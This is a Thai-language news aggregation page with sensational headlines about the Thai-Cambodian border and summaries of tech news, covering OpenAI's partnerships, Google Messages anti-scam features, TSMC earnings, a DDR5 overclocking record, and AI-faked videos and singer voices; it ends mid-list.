ยอดจองดูฟุตบอลโลก ทะลุ 1 ล้านแล้ว(17/10/68) #news1 #ข่าววันนี้ #ข่าวดัง #TikTokการกีฬา #ฟุตบอลโลก

“ปล่อยประชุม JBC รอบนี้” เสียภูมะเขือ!!! (17/10/68)

#ThaiTimes
#News1
#News1short
#TruthFromThailand
#shorts
#JBC
#ภูมะเขือ
#ชายแดนไทยกัมพูชา
#MOU43
#อธิปไตยไทย
#ความมั่นคง
#ข่าววันนี้
#ข่าวtiktok
#newsupdate

มภ.1 คนใหม่แจ๋วเลย! ยึดที่ดินหนองจานคืนคนไทย 60 ไร่ (17/10/68)

#ThaiTimes
#News1
#News1short
#TruthFromThailand
#shorts
#มภ1
#หนองจาน
#ชายแดนไทยกัมพูชา
#กองทัพไทย
#ความมั่นคง
#ข่าววันนี้
#ข่าวtiktok
#newsupdate

รีบดูด่วน! เขมรแตกรังหลัง จนท.เกาหลีลงแผ่นดินเขมร (17/10/68)

#ThaiTimes
#News1
#News1short
#TruthFromThailand
#shorts
#กัมพูชา
#เกาหลีใต้
#การเมืองต่างประเทศ
#เศรษฐกิจภูมิภาค
#เทรนด์วันนี้
#ข่าววันนี้
#ข่าวtiktok
#newsupdate

เงานั้นคือใคร? คุณหญิงหน่อยเปิดปมนักการเมือง ผู้อยู่เบื้องหลังขบวนการ “สีเทา” (17/10/68)

#ThaiTimes
#News1
#News1short
#TruthFromThailand
#shorts
#คุณหญิงหน่อย
#นักการเมือง
#ขบวนการสีเทา
#การเมืองไทย
#เทรนด์วันนี้
#ข่าววันนี้
#ข่าวtiktok
#newsupdate

“โต๊ะพกพา AeroTrac — พับใส่เป้ได้ แต่จะปลอดภัยกับ MacBook Pro $10,000 ไหม?” — เมื่อความคล่องตัวชนกับความเสี่ยงของอุปกรณ์ราคาแพง

Tether Tools ได้เปิดตัว AeroTrac Workstation System ซึ่งเป็นโต๊ะทำงานแบบพกพาที่ออกแบบมาเพื่อผู้สร้างคอนเทนต์ที่ต้องการความคล่องตัวในการทำงานนอกสถานที่ โดยโต๊ะนี้สามารถพับเก็บเป็นขนาดเท่ากระดาษ A4 และมีหูหิ้วผ้าใบสำหรับพกพาไปทุกที่ แม้จะดูสะดวก แต่หลายคนตั้งคำถามว่า “จะปลอดภัยแค่ไหนถ้าเอา MacBook Pro ราคา $10,000 ไปวางบนโต๊ะพับกลางแจ้ง?”

โต๊ะ AeroTrac ทำจากอะลูมิเนียมน้ำหนักเบาเพียง 3.3 ปอนด์ แต่สามารถรองรับน้ำหนักได้ถึง 30 ปอนด์ มีระบบรางสำหรับติดตั้งอุปกรณ์เสริมผ่านช่องเกลียวมาตรฐาน และสามารถติดตั้งบนขาตั้งกล้อง, C-stand หรือรถเข็นได้ อีกทั้งยังมีขาเสริมให้กลายเป็นโต๊ะตั้งพื้นได้ด้วย

แม้จะมีฟีเจอร์มากมาย แต่ผู้เชี่ยวชาญยังคงกังวลเรื่องความเสี่ยง เช่น การสั่นสะเทือน, ฝุ่น, หรือแรงกระแทกที่อาจเกิดขึ้นระหว่างการใช้งานกลางแจ้ง ซึ่งอาจไม่เหมาะกับอุปกรณ์ราคาแพงอย่าง MacBook Pro หรือ GPU ระดับสูง

โต๊ะนี้มีราคาอยู่ที่ $299 และเปิดให้ผู้ใช้ปรับแต่งอุปกรณ์เสริมผ่านไฟล์ 3D print แบบ open-source ซึ่งเหมาะกับช่างภาพ, นักทำวิดีโอ และศิลปินดิจิทัลที่ต้องย้ายสถานที่ทำงานบ่อย ๆ

Tether Tools เปิดตัว AeroTrac Workstation System โต๊ะพกพาสำหรับผู้สร้างคอนเทนต์
พับเก็บได้ขนาด 8.5x11 นิ้ว น้ำหนัก 3.3 ปอนด์
พื้นโต๊ะขนาด 17x11 นิ้ว รองรับน้ำหนักได้ 30 ปอนด์

มีระบบรางติดตั้งอุปกรณ์เสริมผ่านช่องเกลียวมาตรฐาน
ติดตั้งได้บนขาตั้งกล้อง, C-stand หรือรถเข็น

มีขาเสริมให้กลายเป็นโต๊ะตั้งพื้น
เหมาะกับช่างภาพ, นักทำวิดีโอ และศิลปินดิจิทัล

ราคาอยู่ที่ $299 พร้อมไฟล์ 3D print แบบ open-source สำหรับปรับแต่ง
รองรับการใช้งานแบบโมดูลาร์และพกพา

มีหูหิ้วผ้าใบและแม่เหล็กพับเก็บง่าย
ออกแบบมาเพื่อความคล่องตัวในการเดินทาง

https://www.techradar.com/pro/someone-designed-an-open-portable-desk-with-a-canvas-handle-to-carry-your-usd10-000-apple-macbook-pro-laptop-around-but-somehow-i-dont-think-it-is-a-very-good-idea

“OpenAI สร้างเครือข่ายพันธมิตรระดับโลก มูลค่ากว่า 1 ล้านล้านดอลลาร์” — เมื่อ AI กลายเป็นโครงสร้างพื้นฐานของเศรษฐกิจโลก

OpenAI ได้ขยายเครือข่ายพันธมิตรด้านชิปและคลาวด์อย่างต่อเนื่อง โดยล่าสุดจับมือกับ Broadcom เพื่อพัฒนาชิปเร่งความเร็วแบบเฉพาะกิจ ซึ่งจะใช้พลังงานถึง 10 กิกะวัตต์ในช่วงครึ่งหลังของปีหน้า ความร่วมมือครั้งนี้เสริมทัพให้กับพันธมิตรเดิมอย่าง Nvidia, AMD และ Microsoft ที่เป็นแกนหลักของโครงสร้างพื้นฐาน AI ระดับโลก

ภาพรวมของเครือข่ายนี้ถูกเรียกว่า “เครือข่ายโครงสร้างพื้นฐาน AI ที่แพงที่สุดในประวัติศาสตร์” โดยมีมูลค่ารวมกว่า 1 ล้านล้านดอลลาร์ ครอบคลุมตั้งแต่การออกแบบชิป การจัดหาพลังงาน ไปจนถึงการสร้างศูนย์ข้อมูลทั่วโลก

ตัวอย่างดีลสำคัญ ได้แก่:

Stargate: โครงการมูลค่า 500 พันล้านดอลลาร์ร่วมกับรัฐบาลสหรัฐฯ, Oracle และ SoftBank
Nvidia: ข้อตกลงมูลค่า 100 พันล้านดอลลาร์สำหรับ GPU
Microsoft: ความร่วมมือ Azure มูลค่า 13 พันล้านดอลลาร์
AMD: อาจมีดีลสูงถึง 100 พันล้านดอลลาร์สำหรับชิป 6 กิกะวัตต์

OpenAI ยังร่วมมือกับ G42 ในการสร้าง Stargate UAE ซึ่งเป็นศูนย์ข้อมูลระดับนานาชาติแห่งแรกในโครงการนี้ โดย Sam Altman ซีอีโอของ OpenAI เน้นว่า “ไม่มีบริษัทใดทำสิ่งนี้ได้คนเดียว” และ Broadcom ก็ยืนยันว่า “นี่คือก้าวสำคัญสู่การสร้างปัญญาประดิษฐ์ทั่วไป (AGI)”

รายงานยังชี้ว่า OpenAI ใช้กลยุทธ์ “circular financing” คือ GPU vendors ให้เงินทุนแก่ OpenAI → OpenAI สร้างความต้องการ → vendors ได้กำไรกลับคืน ซึ่งทำให้ OpenAI ควบคุมทุกชั้นของห่วงโซ่อุปทาน ตั้งแต่ชิป คลาวด์ ไปจนถึงพลังงาน

OpenAI จับมือ Broadcom เพื่อพัฒนาชิปเร่งความเร็วเฉพาะกิจ
ใช้พลังงานถึง 10 กิกะวัตต์ในครึ่งหลังของปีหน้า
เสริมทัพพันธมิตรเดิมอย่าง Nvidia, AMD และ Microsoft

เครือข่ายพันธมิตรมีมูลค่ารวมกว่า 1 ล้านล้านดอลลาร์
ครอบคลุมชิป คลาวด์ พลังงาน และศูนย์ข้อมูล

ดีลสำคัญในเครือข่าย:
Stargate กับรัฐบาลสหรัฐฯ, Oracle และ SoftBank มูลค่า 500 พันล้านดอลลาร์
Nvidia GPU มูลค่า 100 พันล้านดอลลาร์
Microsoft Azure มูลค่า 13 พันล้านดอลลาร์
AMD ชิป 6 กิกะวัตต์ มูลค่าอาจถึง 100 พันล้านดอลลาร์

Stargate UAE เป็นศูนย์ข้อมูลระดับนานาชาติแห่งแรกของ OpenAI
ร่วมมือกับ G42 ในดูไบ

กลยุทธ์ “circular financing” ทำให้ OpenAI ควบคุมห่วงโซ่อุปทาน
Vendors ให้ทุน → OpenAI สร้างดีมานด์ → Vendors ได้กำไร

https://www.techradar.com/pro/as-broadcom-becomes-its-latest-ally-this-graph-shows-how-openai-made-itself-too-big-to-fail-by-securing-hundreds-of-billions-from-the-worlds-largest-tech-companies

“Google Messages ยกระดับความปลอดภัย ป้องกันหลอกลวงด้วย 2 ฟีเจอร์ใหม่” — เมื่อข้อความกลายเป็นช่องทางโจมตี Google จึงตอบโต้ด้วยเทคโนโลยีที่ชาญฉลาด

ในยุคที่การหลอกลวงผ่านข้อความกลายเป็นเรื่องใกล้ตัว Google ได้เพิ่มมาตรการป้องกันในแอป Messages ด้วยฟีเจอร์ใหม่ 2 รายการ ได้แก่ “Key Verifier” และ “Scam Link Alerts” เพื่อช่วยให้ผู้ใช้หลีกเลี่ยงการถูกหลอกลวงผ่านข้อความ RCS และลิงก์อันตราย

ฟีเจอร์แรก “Key Verifier” ช่วยให้ผู้ใช้สามารถตรวจสอบตัวตนของคู่สนทนาในแชทแบบตัวต่อตัว โดยการสแกน QR code เพื่อยืนยันว่าอีกฝ่ายเป็นคนจริง ไม่ใช่บัญชีปลอมที่แอบอ้างมา ซึ่งเป็นการเพิ่มความน่าเชื่อถือให้กับการสนทนาแบบเข้ารหัส

ฟีเจอร์ที่สอง “Scam Link Alerts” จะตรวจสอบลิงก์ที่ส่งมาในข้อความ หากพบว่าอาจเป็นอันตราย ระบบจะแสดง popup เตือนทันที ช่วยให้ผู้ใช้ตัดสินใจก่อนคลิกลิงก์ที่อาจนำไปสู่เว็บไซต์หลอกลวงหรือขโมยข้อมูล

Google ระบุว่าเกือบ 60% ของผู้คนทั่วโลกเคยเจอการหลอกลวงในปีที่ผ่านมา และการเข้าถึงเทคโนโลยีขั้นสูงทำให้กลโกงดูน่าเชื่อถือมากขึ้น ฟีเจอร์ใหม่เหล่านี้จึงเป็นการตอบสนองต่อภัยคุกคามที่ซับซ้อนขึ้นเรื่อย ๆ

นอกจากนี้ ยังมีแนวโน้มว่า Google จะขยายฟีเจอร์ด้านความปลอดภัยเพิ่มเติมในอนาคต เช่น การตรวจจับข้อความปลอมที่ใช้ AI สร้าง หรือการป้องกันการหลอกลวงผ่าน QR code ซึ่งกำลังเป็นช่องทางใหม่ที่ถูกใช้โจมตีผู้ใช้มือถือ

Google Messages เพิ่มฟีเจอร์ความปลอดภัยใหม่ 2 รายการ
Key Verifier สำหรับตรวจสอบตัวตนในแชทแบบ RCS
Scam Link Alerts สำหรับเตือนลิงก์อันตรายในข้อความ

Key Verifier ใช้การสแกน QR code เพื่อยืนยันตัวตน
ต้องใช้ Android 10 ขึ้นไป
ทั้งสองฝ่ายต้องสแกน QR code ของกันและกัน

Scam Link Alerts แสดง popup เตือนเมื่อพบลิงก์น่าสงสัย
ฟีเจอร์นี้เปิดใช้งานสำหรับผู้ใช้ทุกคน

Google ระบุว่า 60% ของผู้คนทั่วโลกเคยเจอการหลอกลวงในปีที่ผ่านมา
การหลอกลวงมีความซับซ้อนมากขึ้นจากการใช้เทคโนโลยีขั้นสูง

Google มีแผนขยายฟีเจอร์ความปลอดภัยเพิ่มเติมในอนาคต
อาจรวมถึงการตรวจจับข้อความปลอมที่สร้างด้วย AI
การป้องกันการหลอกลวงผ่าน QR code

https://www.techradar.com/computing/software/google-messages-is-doubling-down-on-scam-prevention-with-two-new-safety-measures-this-is-how-you-can-keep-your-inbox-clean

“EXO Labs ผสาน DGX Spark กับ Mac Studio สร้างระบบ LLM ความเร็วทะลุ 2.8 เท่า” — ยุคใหม่ของ AI inference แบบแยกส่วนที่ใช้ฮาร์ดแวร์ทั่วไป

EXO Labs ได้สาธิตระบบ AI inference แบบใหม่ที่ใช้แนวคิด “disaggregated inference” โดยผสานฮาร์ดแวร์ต่างชนิดเข้าด้วยกัน ได้แก่ 2 เครื่อง NVIDIA DGX Spark กับ Mac Studio ที่ใช้ชิป M3 Ultra ผ่านเครือข่าย 10-Gigabit Ethernet เพื่อแบ่งงานประมวลผลตามจุดแข็งของแต่ละเครื่อง

ระบบนี้ใช้ซอฟต์แวร์ EXO ซึ่งเป็น open-source framework ที่ออกแบบมาเพื่อกระจายงาน inference ของ LLM ไปยังอุปกรณ์หลายชนิด เช่น desktop, server, laptop หรือแม้แต่สมาร์ตโฟน โดยไม่จำเป็นต้องใช้ GPU เดียวกัน

หลักการทำงานคือแบ่งขั้นตอน inference ออกเป็น 2 ส่วน:

Prefill stage: อ่านและประมวลผล prompt ซึ่งต้องใช้พลังประมวลผลสูง — ให้ DGX Spark ทำ
Decode stage: สร้าง token ทีละตัว ซึ่งต้องใช้ bandwidth สูง — ให้ Mac Studio ทำ

EXO stream ข้อมูลภายในของโมเดล (KV cache) แบบ layer-by-layer เพื่อให้ทั้งสองระบบทำงานพร้อมกันโดยไม่ต้องรอกัน ส่งผลให้ความเร็วรวมเพิ่มขึ้นถึง 2.8 เท่าเมื่อเทียบกับ Mac Studio เพียงเครื่องเดียว

การทดสอบใช้โมเดล Llama 3.1 ขนาด 8B กับ prompt ยาว 8,000 token และพบว่าแม้จะเป็นโมเดลขนาดกลาง แต่การแบ่งงานแบบนี้ช่วยเพิ่มประสิทธิภาพได้อย่างชัดเจน

ข้อมูลในข่าว
EXO Labs สาธิตระบบ AI inference แบบ disaggregated โดยใช้ DGX Spark กับ Mac Studio
ใช้เครือข่าย 10-Gigabit Ethernet เชื่อมต่อระหว่างเครื่อง
ซอฟต์แวร์ EXO เป็น open-source framework สำหรับกระจายงาน inference
ระบบแบ่งงานเป็น prefill (DGX Spark) และ decode (Mac Studio)
ใช้การ stream KV cache แบบ layer-by-layer เพื่อให้ทำงานพร้อมกัน
ความเร็วรวมเพิ่มขึ้น 2.8 เท่าเมื่อเทียบกับ Mac Studio เดี่ยว
ทดสอบกับโมเดล Llama 3.1 ขนาด 8B และ prompt ยาว 8K token
EXO 1.0 ยังอยู่ในช่วง early access และไม่ใช่ซอฟต์แวร์ plug-and-play
NVIDIA เตรียมใช้แนวคิดนี้ในแพลตฟอร์ม Rubin CPX
Dynamo framework ของ NVIDIA มีเป้าหมายคล้ายกันแต่ไม่มีระบบ subscription อัตโนมัติ

https://www.tomshardware.com/software/two-nvidia-dgx-spark-systems-combined-with-m3-ultra-mac-studio-to-create-blistering-llm-system-exo-labs-demonstrates-disaggregated-ai-inference-and-achieves-a-2-8-benchmark-boost

“TSMC ทำสถิติรายได้สูงสุดไตรมาสล่าสุด” — แรงหนุนจาก AI และ HPC ดันรายได้ทะลุ $33.1 พันล้าน

TSMC รายงานผลประกอบการไตรมาสล่าสุดด้วยรายได้สูงถึง $33.1 พันล้าน ซึ่งเป็นสถิติสูงสุดของบริษัท โดยมีแรงขับเคลื่อนหลักจากความต้องการชิปสำหรับ AI และโครงสร้างพื้นฐาน HPC ที่คิดเป็นสองในสามของรายได้ทั้งหมด

รายได้เพิ่มขึ้น 40.8% เมื่อเทียบกับปีก่อน และ 10.1% เมื่อเทียบกับไตรมาสก่อนหน้า ขณะที่กำไรสุทธิอยู่ที่ $14.77 พันล้าน และอัตรากำไรขั้นต้นสูงถึง 59.5% แม้จะมีต้นทุนจากการขยายโรงงานในญี่ปุ่นและสหรัฐฯ

TSMC เริ่มรับรู้รายได้จากชิป Apple รุ่นใหม่ที่ผลิตด้วยเทคโนโลยี N3P เช่น A19 และ M5-series ซึ่งใช้ใน iPhone 17 และ Mac รุ่นล่าสุด โดยเทคโนโลยีระดับ 3nm คิดเป็น 23% ของรายได้ wafer ทั้งหมด

กลุ่ม HPC ยังคงเป็นผู้นำด้านรายได้ที่ 57% ตามด้วยสมาร์ตโฟน 30%, ยานยนต์ 5% และ IoT 5% โดย TSMC คาดว่าความต้องการชิป AI จะยังคงแข็งแกร่งไปจนถึงปี 2025

ข้อมูลในข่าว
TSMC รายงานรายได้ไตรมาสล่าสุดที่ $33.1 พันล้าน
เพิ่มขึ้น 40.8% จากปีก่อน และ 10.1% จากไตรมาสก่อน
กำไรสุทธิอยู่ที่ $14.77 พันล้าน
อัตรากำไรขั้นต้นสูงถึง 59.5%
รายได้หลักมาจากชิป AI และ HPC คิดเป็นสองในสามของรายได้
เริ่มรับรู้รายได้จากชิป Apple รุ่นใหม่ที่ใช้เทคโนโลยี N3P
เทคโนโลยีระดับ 3nm คิดเป็น 23% ของรายได้ wafer
กลุ่ม HPC มีสัดส่วนรายได้ 57%, สมาร์ตโฟน 30%, ยานยนต์ 5%, IoT 5%
TSMC คาดว่าความต้องการชิป AI จะยังคงแข็งแกร่งไปจนถึงปี 2025
มีการขยายโรงงานในญี่ปุ่นและสหรัฐฯ ซึ่งส่งผลต่อต้นทุน

https://www.tomshardware.com/tech-industry/semiconductors/tsmc-posts-record-quarter-results-as-skyrocketing-ai-and-hpc-demand-drives-two-thirds-of-revenue-company-pulls-in-usd33-1-billion

“Tachyum Prodigy เลื่อนอีกครั้ง แต่เพิ่มเป็น 256 คอร์ต่อชิปเล็ต” — พร้อมดีล 500 ล้านดอลลาร์จากนักลงทุนยุโรป

Tachyum ประกาศอัปเดตล่าสุดเกี่ยวกับชิป Prodigy ที่ตั้งเป้าเป็นโปรเซสเซอร์อเนกประสงค์สำหรับงาน AI และ HPC โดยเพิ่มจำนวนคอร์ต่อชิปเล็ตจากเดิม 192 เป็น 256 คอร์ เพื่อผลักดันประสิทธิภาพให้สูงขึ้นถึง 3 เท่าของซีพียู x86 ชั้นนำ และ 6 เท่าของ GPGPU สำหรับงาน HPC

แม้จะมีความคืบหน้าเรื่องสเปก แต่ Prodigy ยังไม่เข้าสู่ขั้นตอน tape-out และยังไม่มีการล็อกสเปกสุดท้าย ทำให้การผลิตเชิงพาณิชย์น่าจะเริ่มได้ในปี 2027 ซึ่งถือว่าล่าช้ากว่ากำหนดเดิมหลายปี

Tachyum ได้รับเงินลงทุน Series C จำนวน 220 ล้านดอลลาร์จากนักลงทุนยุโรป และยังได้รับคำสั่งซื้อ Prodigy มูลค่า 500 ล้านดอลลาร์จากนักลงทุนรายเดียวกัน โดยเงินทุนนี้จะใช้ในการเร่งขั้นตอน tape-out และการออกแบบขั้นสุดท้าย

บริษัทคาดว่าจะได้ซิลิคอนตัวแรกในช่วงต้นปี 2026 และหากทุกอย่างเป็นไปตามแผน จะเริ่มส่งมอบเชิงพาณิชย์ได้ในกลางปี 2027 ซึ่งอาจสอดคล้องกับแผนการ IPO ของ Tachyum

ข้อมูลในข่าว
Tachyum เพิ่มจำนวนคอร์ใน Prodigy เป็น 256 คอร์ต่อชิปเล็ต
เป้าหมายคือประสิทธิภาพสูงกว่า x86 และ GPGPU ชั้นนำ
ยังไม่เข้าสู่ขั้นตอน tape-out และยังไม่ล็อกสเปกสุดท้าย
ได้รับเงินลงทุน Series C จำนวน 220 ล้านดอลลาร์
ได้รับคำสั่งซื้อ Prodigy มูลค่า 500 ล้านดอลลาร์จากนักลงทุนยุโรป
คาดว่าจะได้ซิลิคอนตัวแรกในต้นปี 2026
การส่งมอบเชิงพาณิชย์น่าจะเริ่มกลางปี 2027
อาจสอดคล้องกับแผนการ IPO ของบริษัท
ใช้เทคโนโลยีการผลิตระดับ 5nm-class จาก TSMC
การพัฒนา Prodigy ใช้เวลานานกว่า 10 ปี

คำเตือนจากข้อมูลข่าว
Prodigy ยังไม่เข้าสู่ tape-out ทำให้ประสิทธิภาพจริงยังไม่สามารถวัดได้
การเปลี่ยนแปลงสเปกระหว่างการพัฒนาอาจทำให้ timeline ล่าช้า
การพึ่งพา TSMC อาจมีความเสี่ยงด้าน supply chain
การพัฒนา 10 ปีอาจทำให้เทคโนโลยีบางส่วนล้าสมัยเมื่อเปิดตัว
หาก validation ล่าช้า การส่งมอบอาจเลื่อนออกไปอีก
การตั้งเป้าประสิทธิภาพสูงเกินไปอาจไม่สอดคล้องกับความเป็นจริงเมื่อผลิตจริง

https://www.tomshardware.com/pc-components/cpus/tachyums-general-purpose-prodigy-chip-delayed-again-now-with-256-cores-per-chiplet-and-a-usd500-million-purchase-order-from-eu-investor

“D-Link เปิดตัว Nuclias Network Controllers รุ่นใหม่” — จัดการเครือข่ายองค์กรได้ง่ายขึ้นด้วยระบบควบคุมแบบรวมศูนย์

D-Link ประกาศเปิดตัว Nuclias Network Controllers รุ่นใหม่ ได้แก่ DNH-1000, DNH-3000 และ DNC-5000 ซึ่งออกแบบมาเพื่อช่วยองค์กรทุกขนาดบริหารจัดการเครือข่ายแบบรวมศูนย์ ทั้งแบบมีสายและไร้สาย โดยสามารถควบคุมอุปกรณ์ได้ตั้งแต่ระดับ edge ไปจนถึง core switch

จุดเด่นของ Nuclias คือการลดความซับซ้อนของการดูแลระบบ IT โดยให้ real-time dashboard, การแจ้งเตือนอัตโนมัติ, การวิเคราะห์ทราฟฟิก และการควบคุมสิทธิ์ผู้ดูแลระบบแบบ tiered access

แต่ละรุ่นมีความสามารถต่างกัน:

🛜 DNH-1000 รองรับอุปกรณ์สูงสุด 500 ชิ้น เหมาะกับธุรกิจขนาดเล็ก โรงเรียน หรือร้านค้า
🛜 DNH-3000 รองรับสูงสุด 1,500 ชิ้น เหมาะกับสำนักงานใหญ่ มหาวิทยาลัย หรือห้างสรรพสินค้า
🛜 DNC-5000 เป็น software-based controller รองรับสูงสุด 2,000 ชิ้น เหมาะกับองค์กรขนาดใหญ่ที่มีหลายสาขา

ผลิตภัณฑ์ทั้งหมดผลิตในไต้หวัน และมีจำหน่ายผ่านตัวแทนทั่วโลก พร้อมบริการให้คำปรึกษาและสาธิตการใช้งาน

ข้อมูลในข่าว
D-Link เปิดตัว Nuclias Network Controllers รุ่น DNH-1000, DNH-3000 และ DNC-5000
รองรับการจัดการอุปกรณ์เครือข่ายแบบรวมศูนย์ ทั้งแบบมีสายและไร้สาย
มี real-time dashboard, การแจ้งเตือนอัตโนมัติ และการวิเคราะห์ทราฟฟิก
รองรับ tiered admin access เพื่อควบคุมสิทธิ์ผู้ดูแลระบบ
DNH-1000 รองรับอุปกรณ์สูงสุด 500 ชิ้น เหมาะกับธุรกิจขนาดเล็ก
DNH-3000 รองรับสูงสุด 1,500 ชิ้น เหมาะกับองค์กรขนาดกลางถึงใหญ่
DNC-5000 เป็น software-based controller รองรับสูงสุด 2,000 ชิ้น
ผลิตภัณฑ์ทั้งหมดผลิตในไต้หวัน
มีจำหน่ายผ่านตัวแทนทั่วโลก พร้อมบริการให้คำปรึกษาและสาธิต

https://www.techpowerup.com/341962/d-link-unveils-nuclias-network-controllers-for-businesses

“DDR5 ทะลุ 13,000 MT/s ครั้งแรก!” — Corsair Vengeance และ GIGABYTE Z890 สร้างสถิติใหม่ในโลกการโอเวอร์คล็อก

ในโลกของการโอเวอร์คล็อก หนึ่งในเป้าหมายที่นักเล่นระดับสูงไล่ล่ามานานคือการทำให้ DDR5 ทะลุความเร็ว 13,000 MT/s และล่าสุดก็มีคนทำสำเร็จแล้ว! นักโอเวอร์คล็อกชาวเยอรมันชื่อ “sergmann” ได้สร้างสถิติใหม่ด้วย Corsair Vengeance DDR5 บนเมนบอร์ด GIGABYTE Z890 Aorus Tachyon ICE โดยจับคู่กับซีพียู Intel Core Ultra 9 285K และใช้ไนโตรเจนเหลวในการระบายความร้อน

ก่อนหน้านี้ “saltycroissant” เคยทำสถิติไว้ที่ 12,920 MT/s และเกือบจะทะลุ 13,000 MT/s แต่ sergmann แซงหน้าไปด้วยความเร็ว 13,010 MT/s ซึ่งได้รับการยืนยันจาก HWBot และ CPU-Z

แม้ความเร็วจะสูงมาก แต่ latency ก็สูงเช่นกัน (CL68-127-127-127-2) ทำให้ไม่เหมาะกับการใช้งานทั่วไป แต่ถือเป็นชัยชนะเชิงเทคนิคที่แสดงถึงศักยภาพของฮาร์ดแวร์ยุคใหม่ โดยเฉพาะเมนบอร์ด Z890 และหน่วยความจำ DDR5 รุ่นล่าสุด

ข้อมูลในข่าว
DDR5 ถูกโอเวอร์คล็อกทะลุ 13,000 MT/s เป็นครั้งแรก
นักโอเวอร์คล็อก “sergmann” ใช้ Corsair Vengeance DDR5 และ GIGABYTE Z890 Aorus Tachyon ICE
ซีพียูที่ใช้คือ Intel Core Ultra 9 285K
ใช้ไนโตรเจนเหลวในการระบายความร้อน
ความเร็วที่ทำได้คือ 13,010 MT/s (6504 MHz)
ได้รับการยืนยันจาก HWBot และ CPU-Z
ค่า latency อยู่ที่ CL68-127-127-127-2
IMC to Memory Clock ratio อยู่ที่ 3:190
ความเร็วระดับนี้ไม่เหมาะกับการใช้งานทั่วไป แต่เป็นการโชว์ศักยภาพ
เมนบอร์ด Z890 และซีพียู Ultra 200S มี memory controller ที่รองรับความเร็วสูง
Corsair, Gigabyte, Seasonic และ ThermalGrizzly มีส่วนสนับสนุนการทดสอบ

https://wccftech.com/ddr5-memory-officially-pushed-over-13000-mt-s-for-the-first-time/

“Sora และยุคใหม่ของวิดีโอปลอม” — เมื่อ AI ทำให้ภาพเคลื่อนไหวไม่ใช่หลักฐานอีกต่อไป

บทความจาก The Star เปิดเผยว่าเทคโนโลยี AI video generators อย่าง Sora จาก OpenAI ได้พัฒนาไปถึงจุดที่สามารถสร้างวิดีโอสมจริงจากข้อความสั้น ๆ ได้ภายในไม่กี่วินาที เช่น “ภาพจากกล้องตำรวจจับสุนัขขโมยเนื้อที่ Costco” หรือ “แรคคูนบนเครื่องบิน” ซึ่งดูเหมือนจะเป็นคลิปจริงแต่ทั้งหมดถูกสร้างขึ้นด้วย AI

แม้จะมีคลิปที่สร้างเพื่อความบันเทิง แต่ก็มีผู้ใช้บางกลุ่มนำไปใช้ในทางที่ผิด เช่น สร้างภาพเหตุการณ์อาชญากรรมปลอม หรือข่าวปลอมที่ดูเหมือนออกจากสถานีโทรทัศน์จริง ๆ ซึ่งสร้างความกังวลในวงกว้าง

ผู้เชี่ยวชาญจาก UC Berkeley เตือนว่า “สมองของเราถูกฝึกให้เชื่อสิ่งที่เห็น แต่เราต้องเริ่มตั้งคำถามกับทุกวิดีโอ” เพราะวิดีโอเคยเป็นหลักฐานที่เชื่อถือได้เมื่อภาพนิ่งถูกปลอมได้ง่าย แต่ตอนนี้ AI ทำให้วิดีโอปลอมได้ไม่แพ้กัน

Sora ยังถูกวิจารณ์จากวงการภาพยนตร์ว่าอาจละเมิดลิขสิทธิ์ของตัวละครและเนื้อหาที่มีอยู่ โดย OpenAI ระบุว่าจะเปิดให้เจ้าของลิขสิทธิ์ควบคุมการใช้งานและหารายได้จากระบบนี้ในอนาคต

ข้อมูลในข่าว
Sora เป็นแอปจาก OpenAI ที่สร้างวิดีโอสมจริงจากข้อความ
ตัวอย่าง prompt เช่น “กล้องตำรวจจับสุนัขขโมยเนื้อ” หรือ “แรคคูนบนเครื่องบิน”
ผู้ใช้บางคนสร้างคลิปปลอม เช่น dashcam อุบัติเหตุ หรือข่าวปลอม
ผู้เชี่ยวชาญเตือนให้ตั้งคำถามกับวิดีโอทุกคลิป
วิดีโอเคยเป็นหลักฐานที่เชื่อถือได้ แต่ AI ทำให้ปลอมได้ง่าย
Sora ถูกวิจารณ์ว่าอาจละเมิดลิขสิทธิ์ภาพยนตร์และตัวละคร
OpenAI ระบุว่าจะให้เจ้าของลิขสิทธิ์ควบคุมการใช้งานในอนาคต
Sora มี watermark และ metadata ฝังในไฟล์เพื่อระบุว่าเป็นวิดีโอ AI
แอป Sora เป็นแบบเชิญเท่านั้น แต่มีการแจก invite code บน Reddit และ Discord
ผู้ใช้สามารถอัปโหลดภาพจริงเพื่อสร้างวิดีโอจากภาพนั้นได้
วิดีโอจาก Sora มีความยาวประมาณ 10 วินาที และมีคุณภาพใกล้ระดับ Hollywood

https://www.thestar.com.my/tech/tech-news/2025/10/17/ai-video-generators-are-now-so-good-you-can-no-longer-trust-your-eyes

“AI ปลอมเสียงศิลปินดังในคลิปไว้อาลัย Charlie Kirk” — เมื่อ YouTube กลายเป็นเวทีของบทเพลงที่ไม่มีใครร้องจริง

ผู้ใช้ YouTube หลายคนตกใจเมื่อพบคลิปไว้อาลัย Charlie Kirk นักเคลื่อนไหวฝ่ายขวาที่ถูกลอบสังหาร โดยมีเสียงร้องจากศิลปินดังอย่าง Adele, Ed Sheeran และ Justin Bieber — แต่ทั้งหมดเป็นเสียงที่สร้างจาก AI โดยไม่มีการร้องจริงหรือรับรู้จากเจ้าตัว

คลิปเหล่านี้ใช้ภาพประกอบที่ดูสมจริง เช่น thumbnails ที่ศิลปินร้องไห้ พร้อมเนื้อเพลงที่แต่งขึ้นจาก prompt เช่น “The angels sing your name” หรือ “Your story’s written in the stars” ซึ่งสร้างความซาบซึ้งให้ผู้ชมจำนวนมาก แม้เสียงจะไม่เหมือนต้นฉบับก็ตาม

AI music generators อย่าง Suno สามารถสร้างเพลงจากข้อความง่าย ๆ เช่น “ทำเพลงแจ๊สเกี่ยวกับรดน้ำต้นไม้” หรือ “เพลงแนว house เกี่ยวกับลาออกจากงาน” และเมื่อสื่อ AFP ทดสอบด้วย prompt ไว้อาลัยนักเคลื่อนไหว ก็ได้เพลงชื่อ “Star Gone Too Soon” และ “Echoes of a Flame” ภายในไม่กี่วินาที

แม้ YouTube จะมีนโยบายให้ผู้สร้างเนื้อหาต้องเปิดเผยว่าใช้ AI แต่หลายคลิปกลับซ่อนข้อมูลไว้ในคำอธิบายที่ต้องคลิกขยายถึงจะเห็น

นักวิจารณ์เช่น Alex Mahadevan จาก Poynter เตือนว่า “อินเทอร์เน็ตที่เคยเต็มไปด้วยคนสร้างสรรค์กำลังถูกแทนที่ด้วย AI slop ที่สร้างเพื่อเงิน” และ Lucas Hansen จาก CivAI เสริมว่า “การลอกเลียนเสียงและภาพควรได้รับการคุ้มครอง แม้จะเป็นคนที่เสียชีวิตแล้วก็ตาม”

ข้อมูลในข่าว
คลิปไว้อาลัย Charlie Kirk ใช้เสียง AI ปลอมเป็นศิลปินดัง
